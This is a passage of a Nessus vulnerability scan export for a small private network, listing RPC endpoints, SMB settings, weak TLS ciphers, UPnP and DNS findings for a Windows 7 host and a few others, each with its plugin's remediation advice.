Named pipe : \pipe\eventlog
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\WIN7

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		49152		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49152 :

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49152
IP : 192.168.0.31

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		49153		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49153 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
Type : Remote RPC service
TCP Port : 49153
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Remote RPC service
TCP Port : 49153
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Remote RPC service
TCP Port : 49153
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Remote RPC service
TCP Port : 49153
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Remote RPC service
TCP Port : 49153
IP : 192.168.0.31

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		49154		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49154 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
TCP Port : 49154
IP : 192.168.0.31

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		49155		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49155 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
Description : Service Control Manager
Windows process : svchost.exe
Type : Remote RPC service
TCP Port : 49155
IP : 192.168.0.31

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		49156		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49156 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
TCP Port : 49156
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Remote RPC service
TCP Port : 49156
IP : 192.168.0.31

										None								8/26/01		8/20/20

		10785						None		192.168.0.31		tcp		445		Microsoft Windows SMB NativeLanManager Remote System Information Disclosure		It was possible to obtain information about the remote operating
system.		Nessus was able to obtain the remote operating system name and version
(Windows and/or Samba) by sending an authentication request to port
139 or 445. Note that this plugin requires SMB1 to be enabled on the
host.		n/a				The remote Operating System is : Windows 7 Professional 7601 Service Pack 1
The remote native LAN manager is : Windows 7 Professional 6.1
The remote SMB Domain Name is : WIN7
										None								10/17/01		1/22/20

		11011						None		192.168.0.31		tcp		139		Microsoft Windows SMB Service Detection		A file / print sharing service is listening on the remote host.		The remote service understands the CIFS (Common Internet File System)
or Server Message Block (SMB) protocol, used to provide shared access
to files, printers, etc between nodes on a network.		n/a				
An SMB server is running on this port.
										None								6/5/02		8/20/20

		11011						None		192.168.0.31		tcp		445		Microsoft Windows SMB Service Detection		A file / print sharing service is listening on the remote host.		The remote service understands the CIFS (Common Internet File System)
or Server Message Block (SMB) protocol, used to provide shared access
to files, printers, etc between nodes on a network.		n/a				
A CIFS server is running on this port.
										None								6/5/02		8/20/20

		11153						None		192.168.0.31		tcp		2869		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				A web server seems to be running on this port.										None								11/18/02		11/26/18

		11219						None		192.168.0.31		tcp		135		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 135/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.31		tcp		139		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 139/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.31		tcp		445		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 445/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.31		tcp		554		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 554/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.31		tcp		2869		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 2869/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.31		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Microsoft Windows 7 Professional
Confidence level : 99
Method : MSRPC

Not all fingerprints could give a match. If you think some or all of
the following could be used to identify the host's operating system,
please email them to os-signatures@nessus.org. Be sure to include a
brief description of the host itself, such as the actual operating
system or product / model names.

SinFP:!:
   P1:B11113:F0x12:W8192:O0204ffff:M1460:
   P2:B11113:F0x12:W8192:O0204ffff010303080402080affffffff44454144:M1460:
   P3:B00000:F0x00:W0:O0:M0
   P4:181102_7_p=139

 
The remote host is running Microsoft Windows 7 Professional										None								12/9/03		3/9/20

		19506						None		192.168.0.31		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 531 sec
										None								8/26/05		8/27/20

		24786						None		192.168.0.31		tcp		0		Nessus Windows Scan Not Performed with Admin Privileges		The Nessus scan of this host may be incomplete due to insufficient
privileges provided.		The Nessus scanner testing the remote host has been given SMB
credentials to log into the remote host, however these credentials do
not have administrative privileges. 

Typically, when Nessus performs a patch audit, it logs into the remote
host and reads the version of the DLLs on the remote host to determine
if a given patch has been applied or not.  This is the method Microsoft
recommends to determine if a patch has been applied. 

If your Nessus scanner does not have administrative privileges when
doing a scan, then Nessus has to fall back to perform a patch audit
through the registry which may lead to false positives (especially when
using third-party patch auditing tools) or to false negatives (not all
patches can be detected through the registry).		Reconfigure your scanner to use credentials with administrative
privileges.				
It was not possible to connect to '\\WIN7\ADMIN$' with the supplied credentials.
										None				IAVB:0001-B-0505				3/12/07		9/22/20

		25220						None		192.168.0.31		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		26917						None		192.168.0.31		tcp		445		Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry		Nessus is not able to access the remote Windows Registry.		It was not possible to connect to PIPE\winreg on the remote host.

If you intend to use Nessus to perform registry-based checks, the
registry checks will not work because the 'Remote Registry Access'
service (winreg) has been disabled on the remote host or can not be
connected to with the supplied credentials.		n/a				Could not connect to the registry because:
Could not connect to \winreg										None				IAVB:0001-B-0506				10/4/07		9/22/20

		35711						None		192.168.0.31		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.31:2869/upnphost/udhisapi.dll?content=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4

And advertises these unique service names :

    uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4::urn:schemas-upnp-org:service:ConnectionManager:1
    uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4::upnp:rootdevice
    uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4::urn:schemas-upnp-org:service:ContentDirectory:1
    uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4::urn:schemas-upnp-org:device:MediaServer:1
    uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4::urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1
    [fe80::b4a0:3f58:4d35:8ce]:3540

										None								2/19/09		9/12/18

		35712						None		192.168.0.31		tcp		2869		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.31:2869/upnphost/udhisapi.dll?content=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4 :

deviceType: urn:schemas-upnp-org:device:MediaServer:1
friendlyName: WIN7: Brian:
manufacturer: Microsoft Corporation
manufacturerURL: http://www.microsoft.com
modelName: Windows Media Player Sharing
modelName: Windows Media Player Sharing
modelNumber: 12.0
modelURL: http://go.microsoft.com/fwlink/?LinkId=105926
serialNumber: {E2F94925-7C89-4B05-9DEA-AD4ED8C1FC7B}
ServiceID: urn:upnp-org:serviceId:ConnectionManager
	serviceType: urn:schemas-upnp-org:service:ConnectionManager:1
	controlURL: /upnphost/udhisapi.dll?control=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:upnp-org:serviceId:ConnectionManager
	eventSubURL: /upnphost/udhisapi.dll?event=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:upnp-org:serviceId:ConnectionManager
	SCPDURL: /upnphost/udhisapi.dll?content=uuid:e6fddabe-0b4b-4046-9562-19feaa46d9f1
ServiceID: urn:upnp-org:serviceId:ContentDirectory
	serviceType: urn:schemas-upnp-org:service:ContentDirectory:1
	controlURL: /upnphost/udhisapi.dll?control=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:upnp-org:serviceId:ContentDirectory
	eventSubURL: /upnphost/udhisapi.dll?event=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:upnp-org:serviceId:ContentDirectory
	SCPDURL: /upnphost/udhisapi.dll?content=uuid:5f53a9ee-256a-458c-afea-93f69f65b8a7
ServiceID: urn:microsoft.com:serviceId:X_MS_MediaReceiverRegistrar
	serviceType: urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1
	controlURL: /upnphost/udhisapi.dll?control=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:microsoft.com:serviceId:X_MS_MediaReceiverRegistrar
	eventSubURL: /upnphost/udhisapi.dll?event=uuid:7a5755b1-f0c6-4f1a-8bf5-c4d150fe4ae4+urn:microsoft.com:serviceId:X_MS_MediaReceiverRegistrar
	SCPDURL: /upnphost/udhisapi.dll?content=uuid:6ef3c792-d1f6-4c77-a12c-657ece204a55
										None								2/19/09		6/12/20

		35716						None		192.168.0.31		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

08:00:27:61:01:8C : PCS Systemtechnik GmbH
										None								2/19/09		5/13/20

		45590						None		192.168.0.31		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:microsoft:windows_7:::professional
										None								4/21/10		9/30/20

		53513						None		192.168.0.31		udp		5355		Link-Local Multicast Name Resolution (LLMNR) Detection		The remote device supports LLMNR.		The remote device answered to a Link-local Multicast Name Resolution
(LLMNR) request.  This protocol provides a name lookup service similar
to NetBIOS or DNS.  It is enabled by default on modern Windows
versions.		Make sure that use of this software conforms to your organization's
acceptable use and security policies.		http://www.nessus.org/u?51eae65d
http://technet.microsoft.com/en-us/library/bb878128.aspx		
According to LLMNR, the name of the remote host is 'Win7'.
										None								4/21/11		3/6/19

		65821		CVE-2015-2808		4.3		Medium		192.168.0.26		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		54615						None		192.168.0.31		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 99
										None								5/23/11		5/23/11

		65821		CVE-2013-2566		4.3		Medium		192.168.0.28		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		86420						None		192.168.0.31		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 08:00:27:61:01:8C
										None								10/16/15		5/13/20

		96982						None		192.168.0.31		tcp		445		Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)		The remote Windows host supports the SMBv1 protocol.		The remote Windows host supports Server Message Block Protocol
version 1 (SMBv1). Microsoft recommends that users discontinue the use
of SMBv1 due to the lack of security features that were included in
later SMB versions. Additionally, the Shadow Brokers group reportedly
has an exploit that affects SMB; however, it is unknown if the exploit
affects SMBv1 or another version. In response to this, US-CERT
recommends that users disable SMBv1 per SMB best practices to mitigate
these potential issues.		Disable SMBv1 according to the vendor instructions in Microsoft
KB2696547. Additionally, block SMB directly by blocking TCP port 445
on all network boundary devices. For SMB over the NetBIOS API, block
TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary
devices.		https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
https://support.microsoft.com/en-us/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3		
The remote host supports SMBv1.
										None				IAVT:0001-T-0710				2/3/17		9/22/20

		65821		CVE-2015-2808		4.3		Medium		192.168.0.28		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		12217				5		Medium		192.168.0.1		udp		53		DNS Server Cache Snooping Remote Information Disclosure		The remote DNS server is vulnerable to cache snooping attacks.		The remote DNS server responds to queries for third-party domains
that do not have the recursion bit set. 

This may allow a remote attacker to determine which domains have
recently been resolved via this name server, and therefore which hosts
have been recently visited. 

For instance, if an attacker was interested in whether your company
utilizes the online services of a particular financial institution,
they would be able to use this attack to build a statistical model
regarding company usage of that financial institution.  Of course, the
attack can also be used to find B2B partners, web-surfing patterns,
external mail servers, and more.

Note: If this is an internal DNS server not accessible to outside
networks, attacks would be limited to the internal network. This
may include employees, consultants and potentially users on
a guest network or WiFi connection if supported.		Contact the vendor of the DNS software for a fix.		http://cs.unc.edu/~fabian/course_papers/cache_snooping.pdf		
Nessus sent a non-recursive query for example.edu
and received 1 answer :

93.184.216.34
				5.3						Medium								4/27/04		4/7/20

		26928				4.3		Medium		192.168.0.20		tcp		443		SSL Weak Cipher Suites Supported		The remote service supports the use of weak SSL ciphers.		The remote host supports the use of SSL ciphers that offer weak
encryption.

Note: This is considerably easier to exploit if the attacker is on the
same physical network.		Reconfigure the affected application, if possible to avoid the use of
weak ciphers.		http://www.nessus.org/u?6527892d		
Here is the list of weak SSL ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.3						Medium				CWE:326;CWE:327;CWE:720;CWE:753;CWE:803;CWE:928;CWE:934				10/8/07		5/16/18

		26928				4.3		Medium		192.168.0.26		tcp		443		SSL Weak Cipher Suites Supported		The remote service supports the use of weak SSL ciphers.		The remote host supports the use of SSL ciphers that offer weak
encryption.

Note: This is considerably easier to exploit if the attacker is on the
same physical network.		Reconfigure the affected application, if possible to avoid the use of
weak ciphers.		http://www.nessus.org/u?6527892d		
Here is the list of weak SSL ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.3						Medium				CWE:326;CWE:327;CWE:720;CWE:753;CWE:803;CWE:928;CWE:934				10/8/07		5/16/18

		26928				4.3		Medium		192.168.0.28		tcp		443		SSL Weak Cipher Suites Supported		The remote service supports the use of weak SSL ciphers.		The remote host supports the use of SSL ciphers that offer weak
encryption.

Note: This is considerably easier to exploit if the attacker is on the
same physical network.		Reconfigure the affected application, if possible to avoid the use of
weak ciphers.		http://www.nessus.org/u?6527892d		
Here is the list of weak SSL ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.3						Medium				CWE:326;CWE:327;CWE:720;CWE:753;CWE:803;CWE:928;CWE:934				10/8/07		5/16/18

		57608				5		Medium		192.168.0.31		tcp		445		SMB Signing not required		Signing is not required on the remote SMB server.		Signing is not required on the remote SMB server. An unauthenticated,
remote attacker can exploit this to conduct man-in-the-middle attacks
against the SMB server.		Enforce message signing in the host's configuration. On Windows, this
is found in the policy setting 'Microsoft network server: Digitally
sign communications (always)'. On Samba, the setting is called 'server
signing'. See the 'see also' links for further details.		https://support.microsoft.com/en-us/help/887429/overview-of-server-message-block-signing
http://technet.microsoft.com/en-us/library/cc731957.aspx
http://www.nessus.org/u?74b80723
https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html
http://www.nessus.org/u?a3cac4ea						5.3		3.7		4.6		Medium								1/19/12		11/15/18

		100871						None		192.168.0.31		tcp		445		Microsoft Windows SMB Versions Supported (remote check)		It was possible to obtain information about the version of SMB running
on the remote host.		Nessus was able to obtain the version of SMB running on the remote
host by sending an authentication request to port 139 or 445.

Note that this plugin is a remote check and does not work on agents.		n/a				
The remote host supports the following versions of SMB :
  SMBv1
  SMBv2
										None								6/19/17		11/22/19

		106716						None		192.168.0.31		tcp		445		Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)		It was possible to obtain information about the dialects of SMB2 and SMB3 available
on the remote host.		Nessus was able to obtain the set of SMB2 and SMB3 dialects running on the remote
host by sending an authentication request to port 139 or 445.		n/a				
The remote host supports the following SMB dialects :
	_version_  _introduced in windows version_
	2.0.2      Windows 2008  
	2.1        Windows 7     

The remote host does NOT support the following SMB dialects :
